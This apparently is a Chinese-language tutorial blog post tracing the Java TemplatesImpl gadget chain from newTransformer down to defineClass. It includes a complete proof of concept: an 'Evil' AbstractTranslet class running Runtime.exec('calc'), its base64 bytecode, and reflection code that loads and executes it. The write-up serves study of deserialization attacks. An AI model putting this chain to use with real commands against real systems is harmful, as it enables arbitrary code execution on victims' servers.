一、前言

java.lang.ClassLoader#defineClass

defineClass可以加载字节码，但由于defineClass的作用域是protected，所以攻击者很少能直接利用到它，但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

二、正文

1. 寻找利用链

由于defineClass的访问修饰符为protected，所以我们需要寻找使用defineClass的方法，直到找到修饰符为public的方法即可。

查找defineClass的声明和用例，可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法重载了defineClass方法：

TransletClassLoader，由于它的作用域是default，所以还得继续寻找调用TransletClassLoader的方法。

最终找到的调用链：

TemplatesImpl#newTransformer() -->			public
TemplatesImpl#getTransletInstance() -->		private
TemplatesImpl#defineTransletClasses() -->	private
TransletClassLoader#defineClass()			default

2. 构造POC

2.1 生成字节码

请注意，由于defineTransletClasses方法的限制，所以编写的被加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

使用javac编译后，base64编码，生成最终的字节码

yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=

2.2 加载字节码

首先编写一个静态类，用于反射修改成员变量

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field declaredField = obj.getClass().getDeclaredField(fieldName);
    declaredField.setAccessible(true);
    declaredField.set(obj, value);
}

1）getTransletInstance

查看TemplatesImpl类的getTransletInstance方法，可以看到需要经过两个if判断才能调用defineTransletClasses，_name需要赋一个String类型的值，_class本来就是null无需修改，我们来反射修改_name的值。

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_name", "随便");
    templates.newTransformer();
}

2）defineTransletClasses

接着进入defineTransletClasses，如果_bytecode为空会报此 Templates 不包含有效的 translet 类定义的错误，如果_tfactory为为空程序会直接返回。

可以看_bytecode作为参数调用了defineClass，所以_bytecode的值应为被加载的字节码。

然后可以看到被加载的类的必须继承自ASTRACT_TRANSLET，即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，这就是刚才被加载类需要继承AbstractTranslet的原因。

继续修改POC：

public static void main(String[] args) throws Exception {
    byte[] bytecode = Base64.getDecoder().decode("#####你的字节码#####");
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_name", "随便");
    setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    templates.newTransformer();
}

2.3 创建实例

在defineTransletClasses中，加载_bytecode获得的Class对象赋给了_class

在getTransletInstance中_class类被创建实例，调用构造方法，至此成功命令执行。这就是为什么没有自己调用newInstance而仍能命令执行的原因。

3. 完整POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class LearnTemplatesImpl {
    public static void main(String[] args) throws Exception {
        byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "随便");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }

    static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field declaredField = obj.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
}

三、参考文章

java安全漫谈 - phith0n

动态加载字节码学习 - bfengj

TemplatesImpl利用链分析 - seizer-zyx

Java反序列化之字节码二三事 - Drunkbaby